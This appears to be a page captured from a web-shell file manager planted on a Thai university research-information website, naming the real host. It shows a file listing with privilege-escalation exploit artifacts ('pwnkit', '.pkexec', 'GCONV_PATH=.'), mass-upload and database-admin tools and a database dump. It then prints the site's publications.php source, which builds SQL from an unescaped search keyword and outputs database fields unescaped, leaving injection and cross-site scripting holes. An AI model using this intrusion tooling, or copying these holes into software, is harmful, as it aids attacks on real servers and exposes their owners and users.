Gecko [ research.sskru.ac.th ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
_test	[ DIR ]	drwxr-xr-x
files	[ DIR ]	drwxr-xr-x
images	[ DIR ]	drwxr-xr-x
includes	[ DIR ]	drwxr-xr-x
mods	[ DIR ]	drwxr-xr-x
pics	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
_config.php	247 B	-rw-r--r--
_json.php	747 B	-rw-r--r--
_lib.php	1.06 KB	-rw-r--r--
action.php	602 B	-rw-r--r--
admin.php	4.42 KB	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
ajax.php	1.08 KB	-rw-r--r--
areas_of_operation.php	11.18 KB	-rw-r--r--
areas_of_operation_test.php	11.18 KB	-rw-r--r--
footer.php	265 B	-rw-r--r--
inde-4.php	871.03 KB	-rw-r--r--
index.php	11.8 KB	-rw-r--r--
index1.php	11.98 KB	-rw-r--r--
innovation_find.php	11.56 KB	-rw-r--r--
innovation_fox.php	584 B	-rw-r--r--
innovations.php	13.44 KB	-rw-r--r--
localhost.sql	1.8 MB	-rw-r--r--
publication_find.php	11.87 KB	-rw-r--r--
publications.php	21.83 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
research_find.php	10.06 KB	-rw-r--r--
research_view.php	8.06 KB	-rw-r--r--
researcher_faculty.php	9.87 KB	-rw-r--r--
researcher_find.php	9.52 KB	-rw-r--r--
researcher_info.php	13.07 KB	-rw-r--r--
researchers.php	15.65 KB	-rw-r--r--
researches.php	16.27 KB	-rw-r--r--
scan.php	0 B	-rw-r--r--
tenka.massupload.v1.php	0 B	-rw-r--r--

Code Editor : publications.php

<?php
	include "_lib.php";

$sql = "SELECT MAX(public_year) AS max_year, MIN(public_year) as min_year FROM publication WHERE public_year > 0 ";
    $year = $g_db->getObject($sql);
  
    $start = $g_util->getParam('start', $year->min_year);
    $stop = $g_util->getParam('stop', $year->max_year);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>ระบบสาระสนเทศงานวิจัย สถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏศรีสะเกษ </title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="icon" type="image/x-icon" href="images/logo.ico">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="includes/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Noto+Sans+Thai&display=swap">
<style>
    body,h1,h2,h3,h4,h5 {font-family: 'Noto Sans Thai', sans-serif; color:#333333;}
    body {font-size:16px;}
    *{margin: 0;
    padding: 0;
    box-sizing: border-box;
    list-style: none;
    text-decoration: none;
    font-family: 'Noto Sans Thai', sans-serif;}
    .w3-half img{margin-bottom:-6px;margin-top:16px;opacity:0.8;cursor:pointer}
    .w3-half img:hover{opacity:1}
    .ris-dark {background-color:#232659; color:#FFF;}
    .ris-light {color:#f4c213;}
    .ris-hover:hover {background-color:#f4c213!important; color:#232659!important;}
    .ris-active {background-color:#f4c213; color:#232659;!important}
    .ris-link {color:#000088!important;}
    .ris-link-hover:hover {color:#880000!important;}
</style>

</head>
<body>

<nav class="w3-sidebar ris-dark w3-collapse w3-top w3-padding" style="z-index:3;width:250px;" id="mySidebar"><br>
    <a href="javascript:void(0)" onclick="w3_close()" class="w3-button w3-hide-large w3-display-topleft" style="width:100%;font-size:22px">X</a>
    <div class="w3-container">
        <h3 class="w3-padding-16 ris-light" style="font-weight: bold;">RIS SSKRU</h3>
    </div>
    <div class="w3-bar-block">
        <a href="index.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-home" aria-hidden="true"></i> หน้าหลัก</a> 
        <a href="researches.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-file-text-o" aria-hidden="true"></i> งานวิจัย</a> 
        <a href="researchers.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-users" aria-hidden="true"></i> นักวิจัย</a> 
        <a href="publications.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-active"><i class="fa fa-newspaper-o" aria-hidden="true"></i> การตีพิมพ์</a> 
        <a href="innovations.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-cogs" aria-hidden="true"></i> นวัตกรรมและสิ่งประดิษฐ์</a>
        <a href="areas_of_operation.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-globe" aria-hidden="true"></i> พื้นที่ดำเนินการ</a>  
        <a href="admin.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-user-secret" aria-hidden="true"></i> ผู้ดูแลระบบ</a>
    </div>
    </nav>

<header class="w3-container w3-top w3-hide-large w3-red w3-xlarge w3-padding">
    <a href="javascript:void(0)" class="w3-button w3-red w3-margin-right" onclick="w3_open()">&#9776;</a>
    <span></span>
    </header>

<div class="w3-overlay w3-hide-large" onclick="w3_close()" style="cursor:pointer" title="close side menu" id="myOverlay"></div>

<div class="w3-main" style="margin-left:250px;margin-right:0px">
        <div class="w3-bottombar" style="padding-top:20px;padding-bottom:20px">
            <div class="w3-row">
                <div class="w3-col" style="width:140px"><img src="images/logo.png" class="w3-image w3-padding"></div>
                <div class="w3-rest"><br><h3>ระบบสารสนเทศงานวิจัย สถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏศรีสะเกษ<br>
                Research Information System(RIS)</h3></div>
            </div>
        </div>
        <div class="w3-panel">
            <a href="index.php" class="ris-link ris-link-hover">หน้าหลัก</a> > 
            การตีพิมพ์
        </div>
        <div class="w3-panel w3-center">
            <center>
            <form action="publication_find.php">
                <div class="w3-cell">
                    <input type="text" name="kw" class="w3-input w3-large w3-border w3-text-blue" placeholder="ค้นหางานตีพิมพ์..." style="width: 350px;">
                    <input type="radio" name="find_in" value="title" class="w3-radio" checked> จากชื่อเรื่อง &nbsp; &nbsp;
                    <input type="radio" name="find_in" value="name" class="w3-radio"> จากชื่อ - นามสกุล นักวิจัย
                    <div class="w3-cell-row w3-panel">
                        <div class="w3-cell">ปีงบประมาณ: </div>
                        <div class="w3-cell">
                        <select id="start" name="start" class="w3-select w3-border w3-text-indigo" required>
                        <?php
                            print $g_util->optionIntRev($start, $year->max_year, $year->min_year);
                        ?>
                        </select>
                        </div>
                        <div class="w3-cell" style="width: 60px;"> ถึง </div>
                        <div class="w3-cell">
                        <select id="stop" name="stop" class="w3-select w3-border w3-text-indigo" required>
                        <?php
                            print $g_util->optionIntRev($stop, $year->max_year, $year->min_year);
                        ?>
                        </select>
                        </div>
                    </div>
                </div>
                <div class="w3-cell">
                    <button type="submit" class="w3-button w3-large w3-border w3-blue"><i class="fa fa-search" aria-hidden="true"></i> ค้นหา</button>
                </div>
            </form>
            </center>
        </div>
        <?php
            $sql = "SELECT COUNT(id) AS total FROM publication WHERE 1 ";
            $pb_all = $g_db->getValue($sql);
            
            $sql = "SELECT 
                        COUNT(publication.id) AS total 
                    FROM publication 
                        LEFT JOIN publishdb ON (publication.publishdb_id = publishdb.id)
                    WHERE publishdb.level = 1";
            $pb_l1 = $g_db->getValue($sql);
            
            $sql = "SELECT 
                        COUNT(publication.id) AS total 
                    FROM publication 
                        LEFT JOIN publishdb ON (publication.publishdb_id = publishdb.id)
                    WHERE publishdb.level = 2";
            $pb_l2 = $g_db->getValue($sql);

?>
        <h2 class="w3-center" style="font-weight: bold;">PUBLICATION RESEARCH SSKRU</h2>
        <div class="w3-row-padding w3-panel">
            <div class="w3-third">
                <div class="w3-padding w3-center w3-light-blue w3-card-4">
                    <h2 style="font-weight: bold;"><?=$g_util->setNumberFormat($pb_all)?></h2>
                    จำนวนผลงานทั้งหมด
                </div>
            </div>
            <div class="w3-third">
                <div class="w3-padding w3-center w3-khaki w3-card-4 w3-margin-left">
                    <h2 style="font-weight: bold;"><?=$g_util->setNumberFormat($pb_l1)?></h2>
                    จำนวนผลงานระดับชาติ
                </div>
            </div>
            <div class="w3-third">
                <div class="w3-padding w3-center w3-sand w3-card-4 w3-margin-left">
                    <h2 style="font-weight: bold;"><?=$g_util->setNumberFormat($pb_l2)?></h2>
                    จำนวนผลงานระดับนานาชาติ
                </div>
            </div>
        </div>

<?php
            $sql = "SELECT 
                        COUNT(publication.id) AS total,
                        publishdb.name AS publishdb_name 
                    FROM publication 
                        LEFT JOIN publishdb ON (publication.publishdb_id = publishdb.id)
                    WHERE 1 GROUP BY publishdb_id ";
            $innoes = $g_db->getObjects($sql);
            $data1 = "";
            foreach ($innoes as $inno) {
                $data1 .= "{
                            \"publishdb\": \"".$inno->publishdb_name."\",
                            \"total\": ".$inno->total."
                            },";
            }
        ?>
        <script>
            am4core.ready(function() {

// Themes begin
            am4core.useTheme(am4themes_animated);
            // Themes end

var chart = am4core.create("chartdiv1", am4charts.XYChart);
            chart.colors.step = 2;

let title = chart.titles.create();
            title.text = "ฐานข้อมูลที่ตีพิมพ์";
            title.fontSize = 18;
            title.fontWeight = "bold";
            title.padding(0, 0, 30, 0);

var categoryAxis = chart.yAxes.push(new am4charts.CategoryAxis());
            categoryAxis.renderer.grid.template.location = 0;
            categoryAxis.dataFields.category = "publishdb";
            categoryAxis.renderer.minGridDistance = 1;
            categoryAxis.renderer.inversed = true;
            //categoryAxis.renderer.grid.template.disabled = true;

var valueAxis = chart.xAxes.push(new am4charts.ValueAxis());
            valueAxis.renderer.grid.template.location = 0;
            valueAxis.min = 0;
            //valueAxis.title.text = "จำนวนนวัตกรรมและสิ่งประดิษฐ์";

var series = chart.series.push(new am4charts.ColumnSeries());
            series.dataFields.categoryY = "publishdb";
            series.dataFields.valueX = "total";
            series.tooltipText = "{valueX.value}"
            series.columns.template.strokeOpacity = 0;
            series.columns.template.column.cornerRadiusBottomRight = 5;
            series.columns.template.column.cornerRadiusTopRight = 5;

var labelBullet = series.bullets.push(new am4charts.LabelBullet())
            labelBullet.label.horizontalCenter = "left";
            labelBullet.label.dx = 10;
            //labelBullet.label.text = "{values.valueX.workingValue.formatNumber('#.0as')}";
            labelBullet.label.text = "{values.valueX.workingValue.formatNumber('#')}";
            labelBullet.locationX = 1;

// as by default columns of the same series are of the same color, we add adapter which takes colors from chart.colors color set
            series.columns.template.adapter.add("fill", function(fill, target){
            return chart.colors.getIndex(target.dataItem.index);
            });

categoryAxis.sortBySeries = series;
            chart.data = [<?=$data1?>]

}); // end am4core.ready()
        </script>
        
        <?php
            $sql = "SELECT 
                        COUNT(publication.id) AS total,
                        publication.public_year AS `year` 
                    FROM publication 
                    WHERE 1 GROUP BY publication.public_year 
                    ORDER BY publication.public_year ASC ";
            $chart2s = $g_db->getObjects($sql);
            $data2 = "";
            foreach ($chart2s as $chart2) {
                $data2 .= "{
                            \"year\": \"".$chart2->year."\",
                            \"total\": ".$chart2->total."
                            },";
            }
        ?>
        <script>
            am4core.ready(function() {

// Themes begin
            am4core.useTheme(am4themes_animated);
            // Themes end

var chart = am4core.create("chartdiv2", am4charts.XYChart);

let title = chart.titles.create();
            title.text = "จำนวนตีพิมพ์ในแต่ละปี";
            title.fontSize = 18;
            title.fontWeight = "bold";
            title.padding(0, 0, 30, 0);

var data = [];

chart.data = [<?=$data2?>];

var categoryAxis = chart.xAxes.push(new am4charts.CategoryAxis());
            categoryAxis.renderer.grid.template.location = 0;
            categoryAxis.renderer.ticks.template.disabled = true;
            categoryAxis.renderer.line.opacity = 0;
            categoryAxis.renderer.grid.template.disabled = true;
            categoryAxis.renderer.minGridDistance = 40;
            categoryAxis.dataFields.category = "year";
            categoryAxis.startLocation = 0.4;
            categoryAxis.endLocation = 0.6;

var valueAxis = chart.yAxes.push(new am4charts.ValueAxis());
            valueAxis.tooltip.disabled = true;
            valueAxis.renderer.line.opacity = 0;
            valueAxis.renderer.ticks.template.disabled = true;
            valueAxis.min = 0;

var lineSeries = chart.series.push(new am4charts.LineSeries());
            lineSeries.dataFields.categoryX = "year";
            lineSeries.dataFields.valueY = "total";
            lineSeries.tooltipText = "{valueY.value}";
            lineSeries.fillOpacity = 0.5;
            lineSeries.strokeWidth = 3;
            // lineSeries.propertyFields.stroke = "lineColor";
            // lineSeries.propertyFields.fill = "lineColor";

var bullet = lineSeries.bullets.push(new am4charts.CircleBullet());
            bullet.circle.radius = 6;
            bullet.circle.fill = am4core.color("#fff");
            bullet.circle.strokeWidth = 3;

chart.cursor = new am4charts.XYCursor();
            chart.cursor.behavior = "panX";
            chart.cursor.lineX.opacity = 0;
            chart.cursor.lineY.opacity = 0;

chart.scrollbarX = new am4core.Scrollbar();
            chart.scrollbarX.parent = chart.bottomAxesContainer;

}); // end am4core.ready()
        </script>

<?php
            $sql = "SELECT 
                        COUNT(publication.id) AS total,
                        faculty.name AS faculty_name 
                    FROM publication 
                        LEFT JOIN faculty ON (publication.faculty_id = faculty.id)
                    WHERE 1 GROUP BY faculty_id ";
            $faces = $g_db->getObjects($sql);
            $data3 = "";
            foreach ($faces as $fac) {
                $data3 .= "{
                            \"faculty\": \"".$fac->faculty_name."\",
                            \"total\": ".$fac->total."
                            },";
            }
        ?>
        <script>
            am4core.ready(function() {

// Themes begin
            am4core.useTheme(am4themes_animated);
            // Themes end
            // Create chart instance
            var chart = am4core.create("chartdiv3", am4charts.PieChart);

let title = chart.titles.create();
            title.text = "สังกัด";
            title.fontSize = 18;
            title.fontWeight = "bold";
            title.padding(0, 0, 30, 0);

// Add and configure Series
            var pieSeries = chart.series.push(new am4charts.PieSeries());
            pieSeries.dataFields.value = "total";
            pieSeries.dataFields.category = "faculty";

// Let's cut a hole in our Pie chart the size of 30% the radius
            chart.innerRadius = am4core.percent(30);

// Put a thick white border around each Slice
            pieSeries.slices.template.stroke = am4core.color("#fff");
            pieSeries.slices.template.strokeWidth = 2;
            pieSeries.slices.template.strokeOpacity = 1;
            pieSeries.slices.template
            // change the cursor on hover to make it apparent the object can be interacted with
            .cursorOverStyle = [
                {
                "property": "cursor",
                "value": "pointer"
                }
            ];

// pieSeries.alignLabels = false;
            // pieSeries.labels.template.bent = true;
            // pieSeries.labels.template.radius = 3;
            // pieSeries.labels.template.padding(0,0,0,0);

// pieSeries.ticks.template.disabled = true;

// Create a base filter effect (as if it's not there) for the hover to return to
            var shadow = pieSeries.slices.template.filters.push(new am4core.DropShadowFilter);
            shadow.opacity = 0;

// Create hover state
            var hoverState = pieSeries.slices.template.states.getKey("hover"); // normally we have to create the hover state, in this case it already exists

// Slightly shift the shadow and make it more prominent on hover
            var hoverShadow = hoverState.filters.push(new am4core.DropShadowFilter);
            hoverShadow.opacity = 0.7;
            hoverShadow.blur = 5;

chart.data = [<?=$data3?>];

}); // end am4core.ready()
        </script>

<div class="w3-row-padding w3-margin-bottom">
            <div class="w3-half w3-center">
                <div id="chartdiv1" style="width: 100%; height: 300px;"></div>
            </div>
            <div class="w3-half w3-center">
                <div id="chartdiv2" style="width: 100%; height: 300px;"></div>
            </div>
        </div>

<div class="w3-margin">
    <?php
        $sql = "SELECT 
                    publication.id, 
                    publication.title, 
                    publication.researcher_id, 
                    faculty.name AS faculty_name, 
                    researcher.tname AS researcher_tname, 
                    researcher.name AS researcher_name, 
                    publishdb.name AS publishdb_name,
                    publication.journal, 
                    publication.public_year, 
                    publication.public_weight, 
                    publication.file
                FROM publication 
                    LEFT JOIN researcher ON (publication.researcher_id=researcher.id) 
                    LEFT JOIN faculty ON (publication.faculty_id=faculty.id) 
                    LEFT JOIN publishdb ON (publication.publishdb_id=publishdb.id) 
                WHERE 1 ";
        if ($kw != '') {
            $sql .= " AND(publication.title LIKE '%".$kw."%') "; 
        }
        $sql .= " ORDER BY publication.id DESC ";
        $g_db->pagesize = 10;
        $sql = $g_db->createPage($sql);
        $rows = $g_db->getObjects($sql);
        ?>
        <?php
        $g_db->page_url = "publications.php?page=";
        $g_db->pagination();
    ?>
    <?php
        for ($i=0; $i<count($rows); $i++) {
            $row = $rows[$i];
    ?>
            <div class="w3-row w3-round-large w3-border w3-margin-bottom w3-hover-light-grey">
                <div class="w3-rest w3-padding">
                <?php
                    $file = "files/publication/".$row->file;
                    if (is_file($file)) {
                ?>
                    <div class="w3-panel"><h4><a href="<?=$file?>" target="_blank" class="ris-link ris-link-hover"><?=$g_db->pageNo($i)?>. <?=$row->title?></a></h4></div>
                <?php
                    } else {
                ?>
                    <div class="w3-panel"><h4><?=$g_db->pageNo($i)?>. <?=$row->title?></h4></div>
                <?php
                    }
                ?>
                    <div class="w3-panel w3-large">นักวิจัย : <a href="researcher_info.php?res_id=<?=$row->researcher_id?>" class="ris-link ris-link-hover"><?=$row->researcher_tname?> <?=$row->researcher_name?></a></div>
                    <div class="w3-panel">สังกัด : <?=$row->faculty_name?></div>
                    <div class="w3-panel">แหล่งตีพิมพ์ : <?=$row->journal?></div>
                    <div class="w3-panel">ปีที่เผยแพร่ : <?=$row->public_year?></div>
                    <div class="w3-panel">ฐานข้อมูลที่ตีพิมพ์ : <?=$row->publishdb_name?></div>
                    <div class="w3-panel">ค่าน้ำหนัก : <?=sprintf("%0.2f", $row->public_weight)?></div>
                </div>
            </div>

<?php
        }
        
        $g_db->pagination();
    ?>
        </div>
    <?php
            include("footer.php");
    ?>
    </div>

// Modal Image Gallery
function onClick(element) {
  document.getElementById("img01").src = element.src;
  document.getElementById("modal01").style.display = "block";
  var captionText = document.getElementById("caption");
  captionText.innerHTML = element.alt;
}
</script>

</body>
</html>
<?php
    $g_db->close();
?>

${this.title}

Code Editor : publications.php